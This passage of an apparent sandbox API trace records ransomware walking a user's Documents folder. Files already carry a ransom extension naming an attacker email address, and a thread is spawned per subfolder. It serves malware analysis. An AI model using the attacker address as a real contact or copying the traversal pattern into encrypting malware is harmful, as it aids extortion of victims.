(_String1="F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="F_ELC.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.199] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb4d350, ftCreationTime.dwHighDateTime=0x1d4ca62, ftLastAccessTime.dwLowDateTime=0x915716f0, ftLastAccessTime.dwHighDateTime=0x1d4cec5, ftLastWriteTime.dwLowDateTime=0x915716f0, ftLastWriteTime.dwHighDateTime=0x1d4cec5, nFileSizeHigh=0x0, nFileSizeLow=0xca95, dwReserved0=0x0, dwReserved1=0x0, cFileName="GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="GGJVCE~1.CD4")) returned 1 [0140.199] wcscmp (_String1="GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.199] wcscmp (_String1="GGJVCE2ZOs_.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.200] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e92f9f0, ftCreationTime.dwHighDateTime=0x1d4cae5, ftLastAccessTime.dwLowDateTime=0xd6933ed0, ftLastAccessTime.dwHighDateTime=0x1d4c914, ftLastWriteTime.dwLowDateTime=0xd6933ed0, ftLastWriteTime.dwHighDateTime=0x1d4c914, nFileSizeHigh=0x0, nFileSizeLow=0x4aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="GIW9OA~1.CD4")) returned 1 [0140.200] wcscmp (_String1="Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.200] wcscmp (_String1="Giw9OA.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.200] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5624160, ftCreationTime.dwHighDateTime=0x1d55a21, ftLastAccessTime.dwLowDateTime=0x385de180, ftLastAccessTime.dwHighDateTime=0x1d557ed, ftLastWriteTime.dwLowDateTime=0x385de180, ftLastWriteTime.dwHighDateTime=0x1d557ed, nFileSizeHigh=0x0, nFileSizeLow=0x31fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="GZCSA8~1.CD4")) returned 1 [0140.200] wcscmp (_String1="Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.200] wcscmp (_String1="Gzcsa8rpswPz_.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.200] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51633470, ftCreationTime.dwHighDateTime=0x1d4c6a0, ftLastAccessTime.dwLowDateTime=0x8b3b4d60, ftLastAccessTime.dwHighDateTime=0x1d4d044, ftLastWriteTime.dwLowDateTime=0x8b3b4d60, ftLastWriteTime.dwHighDateTime=0x1d4d044, nFileSizeHigh=0x0, nFileSizeLow=0x132d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="H1IVWB~1.CD4")) returned 1 [0140.200] wcscmp (_String1="h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.200] wcscmp (_String1="h1iVwb9U.rtf.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.200] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39c86ed0, ftCreationTime.dwHighDateTime=0x1d4cf05, ftLastAccessTime.dwLowDateTime=0x1b9b1a30, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0x1b9b1a30, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0xb039, dwReserved0=0x0, dwReserved1=0x0, cFileName="hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="HHZIG7~1.CD4")) returned 1 [0140.200] wcscmp (_String1="hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.200] wcscmp (_String1="hhzIg7ilIz.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.200] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238fb30, ftCreationTime.dwHighDateTime=0x1d560e2, ftLastAccessTime.dwLowDateTime=0x7568900, ftLastAccessTime.dwHighDateTime=0x1d56b13, ftLastWriteTime.dwLowDateTime=0x7568900, ftLastWriteTime.dwHighDateTime=0x1d56b13, nFileSizeHigh=0x0, nFileSizeLow=0x1570a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="JKYQDO~1.CD4")) returned 1 [0140.484] wcscmp (_String1="jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.484] wcscmp (_String1="jkYQ.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.484] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf06b5cb0, ftCreationTime.dwHighDateTime=0x1d4d568, ftLastAccessTime.dwLowDateTime=0xffa3f950, ftLastAccessTime.dwHighDateTime=0x1d4cc60, ftLastWriteTime.dwLowDateTime=0xffa3f950, ftLastWriteTime.dwHighDateTime=0x1d4cc60, nFileSizeHigh=0x0, nFileSizeLow=0x12bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="L-BATG~1.CD4")) returned 1 [0140.484] wcscmp (_String1="L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.484] wcscmp (_String1="L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.484] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cd8610, ftCreationTime.dwHighDateTime=0x1d50792, ftLastAccessTime.dwLowDateTime=0x8b9fc150, ftLastAccessTime.dwHighDateTime=0x1d57ce7, ftLastWriteTime.dwLowDateTime=0x8b9fc150, ftLastWriteTime.dwHighDateTime=0x1d57ce7, nFileSizeHigh=0x0, nFileSizeLow=0x6bfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LNDN32~1.CD4")) returned 1 [0140.484] wcscmp (_String1="LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.484] wcscmp (_String1="LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.484] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeced4900, ftCreationTime.dwHighDateTime=0x1d4d4e5, ftLastAccessTime.dwLowDateTime=0x481927d0, ftLastAccessTime.dwHighDateTime=0x1d4d203, ftLastWriteTime.dwLowDateTime=0x481927d0, ftLastWriteTime.dwHighDateTime=0x1d4d203, nFileSizeHigh=0x0, nFileSizeLow=0xa6c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LPQT7V~1.CD4")) returned 1 [0140.484] wcscmp (_String1="lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.484] wcscmp (_String1="lPqt7vUTZlSPv Luk.doc.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.484] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7396ba60, ftCreationTime.dwHighDateTime=0x1d5135a, ftLastAccessTime.dwLowDateTime=0xa6a1a900, ftLastAccessTime.dwHighDateTime=0x1d584e4, ftLastWriteTime.dwLowDateTime=0xa6a1a900, ftLastWriteTime.dwHighDateTime=0x1d584e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a23, dwReserved0=0x0, dwReserved1=0x0, cFileName="mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MQN4T2~1.CD4")) returned 1 [0140.484] wcscmp (_String1="mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.484] wcscmp (_String1="mqn4T2qvd8dKvqYxEc.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.484] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a2020, ftCreationTime.dwHighDateTime=0x1d50aae, ftLastAccessTime.dwLowDateTime=0xa5d583a0, ftLastAccessTime.dwHighDateTime=0x1d58ddd, ftLastWriteTime.dwLowDateTime=0xa5d583a0, ftLastWriteTime.dwHighDateTime=0x1d58ddd, nFileSizeHigh=0x0, nFileSizeLow=0x9951, dwReserved0=0x0, dwReserved1=0x0, cFileName="mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="MRYLUC~1.CD4")) returned 1 [0140.484] wcscmp (_String1="mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0140.484] wcscmp (_String1="mrylUC5yOeiC.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0140.484] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0140.484] wcscmp (_String1="My Music", _String2=".") returned 1 [0140.484] wcscmp (_String1="My Music", _String2="..") returned 1 [0140.484] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f0fe8 [0140.484] wcscpy (in: _Dest=0x8f0fe8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0140.484] wcscat (in: _Dest=0x8f0fe8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0140.485] wcscat (in: _Dest=0x8f0fe8, _Source="My Music" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music" [0142.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec [0142.766] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0142.767] wcscmp (_String1="My Pictures", _String2=".") returned 1 [0142.767] wcscmp (_String1="My Pictures", _String2="..") returned 1 [0142.767] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f0cd8 [0142.767] wcscpy (in: _Dest=0x8f0cd8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0142.767] wcscat (in: _Dest=0x8f0cd8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0142.767] wcscat (in: _Dest=0x8f0cd8, _Source="My Pictures" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures" [0142.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0142.768] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0142.768] wcscmp (_String1="My Shapes", _String2=".") returned 1 [0142.768] wcscmp (_String1="My Shapes", _String2="..") returned 1 [0142.768] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x93cfd8 [0142.768] wcscpy (in: _Dest=0x93cfd8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0142.768] wcscat (in: _Dest=0x93cfd8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0142.768] wcscat (in: _Dest=0x93cfd8, _Source="My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0142.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93cfd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4 [0142.769] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0142.769] wcscmp (_String1="My Videos", _String2=".") returned 1 [0142.769] wcscmp (_String1="My Videos", _String2="..") returned 1 [0142.769] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x93d048 [0142.769] wcscpy (in: _Dest=0x93d048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0142.769] wcscat (in: _Dest=0x93d048, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0142.769] wcscat (in: _Dest=0x93d048, _Source="My Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0142.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93d048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8 [0142.771] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44b3c950, ftCreationTime.dwHighDateTime=0x1d4d34e, ftLastAccessTime.dwLowDateTime=0x6cd21a80, ftLastAccessTime.dwHighDateTime=0x1d4d39a, ftLastWriteTime.dwLowDateTime=0x6cd21a80, ftLastWriteTime.dwHighDateTime=0x1d4d39a, nFileSizeHigh=0x0, nFileSizeLow=0x6d8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="N0UT9T~1.CD4")) returned 1 [0142.771] wcscmp (_String1="N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.771] wcscmp (_String1="N0UT9TTyc3.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.771] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2119ef40, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x6dd8ccd0, ftLastAccessTime.dwHighDateTime=0x1d4d0c0, ftLastWriteTime.dwLowDateTime=0x6dd8ccd0, ftLastWriteTime.dwHighDateTime=0x1d4d0c0, nFileSizeHigh=0x0, nFileSizeLow=0x13024, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="NI1JZX~1.CD4")) returned 1 [0142.771] wcscmp (_String1="Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.771] wcscmp (_String1="Ni1jZ.xlsx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.771] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0142.771] wcscmp (_String1="Outlook Files", _String2=".") returned 1 [0142.771] wcscmp (_String1="Outlook Files", _String2="..") returned 1 [0142.771] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c3c8 [0142.771] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0142.771] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0142.771] wcscat (in: _Dest=0x93c3c8, _Source="Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0142.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc [0142.772] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58d7e70, ftCreationTime.dwHighDateTime=0x1d52d6a, ftLastAccessTime.dwLowDateTime=0xb05defa0, ftLastAccessTime.dwHighDateTime=0x1d5868b, ftLastWriteTime.dwLowDateTime=0xb05defa0, ftLastWriteTime.dwHighDateTime=0x1d5868b, nFileSizeHigh=0x0, nFileSizeLow=0x22a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="QOGBDO~1.CD4")) returned 1 [0142.772] wcscmp (_String1="QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.772] wcscmp (_String1="QOGb.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.772] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cf2b00, ftCreationTime.dwHighDateTime=0x1d4c808, ftLastAccessTime.dwLowDateTime=0x85adfaa0, ftLastAccessTime.dwHighDateTime=0x1d4ca90, ftLastWriteTime.dwLowDateTime=0x85adfaa0, ftLastWriteTime.dwHighDateTime=0x1d4ca90, nFileSizeHigh=0x0, nFileSizeLow=0x8648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="SUN6QD~1.CD4")) returned 1 [0142.772] wcscmp (_String1="Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.772] wcscmp (_String1="Sun6Qd.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.772] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07527a0, ftCreationTime.dwHighDateTime=0x1d5680d, ftLastAccessTime.dwLowDateTime=0xcf6997e0, ftLastAccessTime.dwHighDateTime=0x1d541a9, ftLastWriteTime.dwLowDateTime=0xcf6997e0, ftLastWriteTime.dwHighDateTime=0x1d541a9, nFileSizeHigh=0x0, nFileSizeLow=0xac49, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="TJAMZI~1.CD4")) returned 1 [0142.772] wcscmp (_String1="TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.772] wcscmp (_String1="TJa mzINn6ar8yN.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.772] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fba010, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0xd8601770, ftLastAccessTime.dwHighDateTime=0x1d4ca44, ftLastWriteTime.dwLowDateTime=0xd8601770, ftLastWriteTime.dwHighDateTime=0x1d4ca44, nFileSizeHigh=0x0, nFileSizeLow=0x14c67, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="UAIXVU~1.CD4")) returned 1 [0142.772] wcscmp (_String1="UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.772] wcscmp (_String1="UAixvUB6xdQt.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.772] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09b22d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x45ef5170, ftLastAccessTime.dwHighDateTime=0x1d4d50d, ftLastWriteTime.dwLowDateTime=0x45ef5170, ftLastWriteTime.dwHighDateTime=0x1d4d50d, nFileSizeHigh=0x0, nFileSizeLow=0x18100, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VCBEMM~1.CD4")) returned 1 [0142.772] wcscmp (_String1="VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.772] wcscmp (_String1="VcBemMZT6g2ocMWtTQ9M.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f7e890, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x6261ff20, ftLastAccessTime.dwHighDateTime=0x1d4c5bc, ftLastWriteTime.dwLowDateTime=0x6261ff20, ftLastWriteTime.dwHighDateTime=0x1d4c5bc, nFileSizeHigh=0x0, nFileSizeLow=0x346d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="VG73EG~1.CD4")) returned 1 [0142.773] wcscmp (_String1="Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="Vg73EGcGec-L-sJjnA.ppt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b55d5e0, ftCreationTime.dwHighDateTime=0x1d577d8, ftLastAccessTime.dwLowDateTime=0xf466a300, ftLastAccessTime.dwHighDateTime=0x1d5322a, ftLastWriteTime.dwLowDateTime=0xf466a300, ftLastWriteTime.dwHighDateTime=0x1d5322a, nFileSizeHigh=0x0, nFileSizeLow=0xacd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="WNSZWI~1.CD4")) returned 1 [0142.773] wcscmp (_String1="WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="WNszWi0-Z8B7Pw32db1n.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318d3b70, ftCreationTime.dwHighDateTime=0x1d4d418, ftLastAccessTime.dwLowDateTime=0xc60e9990, ftLastAccessTime.dwHighDateTime=0x1d4d271, ftLastWriteTime.dwLowDateTime=0xc60e9990, ftLastWriteTime.dwHighDateTime=0x1d4d271, nFileSizeHigh=0x0, nFileSizeLow=0x4645, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="X40D_1~1.CD4")) returned 1 [0142.773] wcscmp 